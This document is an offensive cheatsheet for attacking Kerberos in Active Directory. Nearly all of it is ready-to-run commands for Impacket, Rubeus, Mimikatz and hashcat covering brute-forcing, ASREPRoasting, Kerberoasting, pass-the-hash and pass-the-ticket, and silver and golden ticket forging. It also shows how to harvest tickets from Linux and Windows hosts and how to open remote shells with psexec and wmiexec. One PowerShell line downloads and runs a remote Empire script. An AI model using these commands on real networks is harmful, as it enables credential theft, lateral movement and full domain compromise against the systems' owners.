Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

```
python kerbrute.py -domain <domain_name> -users <users_file> -passwords
<passwords_file> -outputfile <output_file>
```

With Rubeus version with brute module:

```
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file>
/domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```

ASREPRoast

With Impacket example GetNPUsers.py:

```
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -
request -format <AS_REP_responses_format [hashcat | john]> -outputfile
<output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format
<AS_REP_responses_format [hashcat | john]> -outputfile
<output_AS_REP_responses_file>
```

With Rubeus:

```
# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat |
john]> /outfile:<output_hashes_file>
```

Cracking with dictionary of passwords:

```
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>

john --wordlist=<passwords_file> <AS_REP_responses_file>
```

Kerberoasting

With Impacket example GetUserSPNs.py:

```
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -
outputfile <output_TGSs_file>
```

With Rubeus:

```
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>
```

With **Powershell**:

```
iex (new-object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpirePro
ject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % {
$_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
```

Cracking with dictionary of passwords:

```
hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
```

Overpass The Hash/Pass The Key (PTK)

By using Impacket examples:

```
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more
stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked
```

```
# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With Rubeus and PsExec:

```
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:
<ntlm_hash> /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

Pass The Ticket (PTT)

Harvest tickets from Linux

Check type and location of tickets:

```
grep default_ccache_name /etc/krb5.conf
```

If none return, default is FILE:/tmp/krb5cc_%{uid}.

In case of file tickets, you can copy-paste (if you have permissions) for use them.

In case of being *KEYRING* tickets, you can use tickey to get them:

```
# To dump current user tickets, if root, try to dump them all by injecting
in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i
```

Harvest tickets from Windows

With Mimikatz:

```
mimikatz # sekurlsa::tickets /export
```

With Rubeus in Powershell:

```
.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("
<bas64_ticket>"))
```

To convert tickets between Linux/Windows format with ticket_converter.py:

```
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
```

Using ticket in Linux:

With Impacket examples:

```
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

Using ticket in Windows

Inject ticket with Mimikatz:

```
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with Rubeus:

```
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with PsExec:

```
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

Silver ticket

With Impacket examples:

```
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain
<domain_name> -spn <service_spn>  <user_name>

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain
<domain_name> -spn <service_spn>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With Mimikatz:

```
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:
<ntlm_hash> /user:<user_name> /service:<service_name> /target:
<service_machine_hostname>

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid>
/aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name>
/target:<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably
more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid>
/aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name>
/target:<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with Rubeus:

```
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with PsExec:

```
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

Golden ticket

With Impacket examples:

```
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -
domain <domain_name>  <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain
<domain_name>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

With Mimikatz:

```
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:
<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid>
/aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably
more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid>
/aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

Inject ticket with Rubeus:

```
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Execute a cmd in the remote machine with PsExec:

```
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

Misc

To get NTLM from password:

```
python -c 'import hashlib,binascii; print
binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-
16le")).digest())'
```

Tools

- Impacket
- Mimikatz
- Rubeus
- Rubeus with brute module
- PsExec
- kerbrute.py
- tickey
- ticket_converter.py